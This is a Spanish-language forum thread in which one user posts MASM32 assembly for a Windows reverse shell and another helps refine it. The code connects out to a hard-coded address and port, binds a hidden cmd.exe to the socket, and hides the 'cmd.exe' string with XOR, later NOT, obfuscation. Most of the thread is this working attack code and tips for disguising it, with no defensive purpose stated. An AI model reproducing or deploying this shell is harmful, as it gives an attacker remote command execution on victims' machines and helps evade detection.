Autor
|
Tema: Remote Shell (Masm32) (Leído 4,500 veces)
|
Vaagish
Desconectado
Mensajes: 875
|
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar.. .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib ; ---------------------- include ws2_32.inc includelib ws2_32.lib ; ---------------------- .data? _Wsadata WSADATA <> _Sockaddrin sockaddr_in <> _Processinfo PROCESS_INFORMATION <> _StartupinfoA STARTUPINFOA <> .data _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7 .code _Start: ; SOCKET mov eax, 100007Fh ; -> 127.0.0.1 mov _Sockaddrin.sin_port, 0b822h ; -> 8888 mov _Sockaddrin.sin_addr, eax mov _Sockaddrin.sin_family, AF_INET invoke WSAStartup, 202h, addr _Wsadata invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ; SHELL mov _StartupinfoA.hStdInput, eax mov _StartupinfoA.hStdOutput, eax mov _StartupinfoA.hStdError, eax mov _StartupinfoA.wShowWindow, SW_HIDE mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov _StartupinfoA.cb, sizeof _StartupinfoA mov ebx, eax ; Guardo el Socket Handle ; CONNECT _noconnect: invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin or eax, eax jnz _noconnect ; DECRYPT xor ecx, ecx push offset _Comandline pop eax _nozero: cmp byte ptr ds:[eax + ecx], 0 je _zero xor byte ptr ds:[eax + ecx], 7 inc ecx jmp _nozero _zero: invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo invoke ExitProcess, 0 end _Start
Suerte!! Saludos!
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Doy por sentado de que no es una shellcode, ya que estas usando la sección .data. Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella? section .data _sockaddr_in: sin_family: .word 0x0002 sin_port: .word 0xb822 sin_addr: .long 0x0100007f sin_zero: .quad 0x0000000000000000
Solamente tendrias que copiar la direccion de _sockaddri_in, y no cargarla en el code. Pasa esas declaraciones a intel syntax. Con la estructura STARTUPINFOA mas de lo mismo, solamente tendrias que cargar en la section code los descriptores "handles" xD, si ya sabes el tamaño de la estructura, el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES para que los cargas en el code? push offset _Comandline pop eax
Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo? Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista. Un saludo.
|
|
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
Doy por sentado de que no es una shellcode, ya que estas usando la sección .data. Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella? No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así: _Sockaddrin: sin_family: word 0002h ; -> AF_INET sin_port: word 0b822h ; -> 8888 sin_addr: dword 100007Fh ; -> 127.0.0.1
invoke connect, ebx, _Sockaddrin, 16
Pero tengo problemas con Startupinfo.. porque seria algo asi: _StartupinfoA: hStdInput: dword eax hStdOutput: dword eax hStdError: dword eax
Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S push offset _Comandline pop eax
Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo? Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria: mov eax, offset _Comandline
Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista. Not te entendi jaja el loop para conectar? o el del xor?
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Pero tengo problemas con Startupinfo.. porque seria algo asi: _StartupinfoA: hStdInput: dword eax hStdOutput: dword eax hStdError: dword eax
Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S Dios, claro que no puedes hacer eso. Si miras la estructura en la msdn te quedara todo mas claro, doy por sentado de que las secciones de esa estructura estan todas en 0, ya que no conozco como funciona esas estrucutra, lo que tienes que hacer es cargar el tamaño y el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES, los handles no puedes cargarlos directamente en la data ya que antes tienes que crearlos, eso es lo que tienes que mover a la estructura en la sección code. Not te entendi jaja el loop para conectar? o el del xor?
Me refiero al xor, lo que te intento decir es que, la cadena cmd.exe si le sumas el 0 que es necesario, suman 8 bytes esos son 2 dword, lo que te estoy diciendo es que cargues la cadena "cmd.exe",0 "noteada" mirate la cadena en hexadecimal, lo unico que hace not es invertir los bits, es simplemente para maquillar la cadena sin hacer lo que tu haces. Un saludo.
|
|
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje "cmd.exe0" = 636D642E65786500 Hex Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬ Y con lo de la estructura no caigo: ;esto se hace asi, no queda otra.. mov _StartupinfoA.hStdInput, eax mov _StartupinfoA.hStdOutput, eax mov _StartupinfoA.hStdError, eax ;Esto otro hacerlo en .data.. pero como carambanos¿? mov _StartupinfoA.wShowWindow, SW_HIDE mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov _StartupinfoA.cb, sizeof _StartupinfoA
EDIT: mov eax, 9C929BD1h not eax mov eax, 9A879AFFh not eax
Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta?? EDIT2: mov eax, 0D19B929Ch not eax mov dword ptr ds:[NuevaLinea], eax mov eax, 0FF9A879Ah not eax mov dword ptr ds:[NuevaLinea + 4], eax
Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo? Gracias man!! Me pusiste a pensar! Saludos!
|
|
« Última modificación: 15 Mayo 2014, 02:30 am por Vaagish »
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
.section data _cmd: .quad 0xff9a879ad19b929c .section .text .globl _start _start: notl _cmd notl _cmd+4 leal _cmd, %eax
Sobre la estructura, tienes que hacer lo mismo que sockaddr_in. http://msdn.microsoft.com/en-us/library/windows/desktop/ms686331%28v=vs.85%29.aspx .section .data _StartupinfoA: cb: .long 0x00000000 ; lo que estas poniendo con el mov, cargalo directamente aqui
Con dwFlag y wShowWindows lo mismo, solo que carga con ceros todo lo que no uses, por cierto te vuelvo a repetir, que no se si podras hacerlo con esta estructura, ya que veo cosas raras como eso de LPTSTR supongo que sera un puntero, pero no se si Windows rellena esa estructura automaticamente, no se si me explico, tu prueba y ya esta, en cosas como esta no puedo decirte mas, sockaddr_in es como en Unix. Un saludo.
|
|
|
En línea
|
|
|
|
Vaagish
Desconectado
Mensajes: 875
|
notl _cmd notl _cmd+4 leal _cmd, %eax Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm por eso moví el dword a eax y le aplique el not, luego el segundo dword. Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones.. Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso Gracias!! Saludos! CORRECION:Pero si se puede hacer esto: not dword ptr ds:[CLine] not dword ptr ds:[CLine + 4]
|
|
« Última modificación: 15 Mayo 2014, 22:47 pm por Vaagish »
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Ya veo que lo corregiste, claro que puedes hacerlo, en GAS o Masm, la instruccion soporta los registros y memorias.
Y bueno sobre las estructuras cuando quieras.
Un saludo.
|
|
|
En línea
|
|
|
|
|
|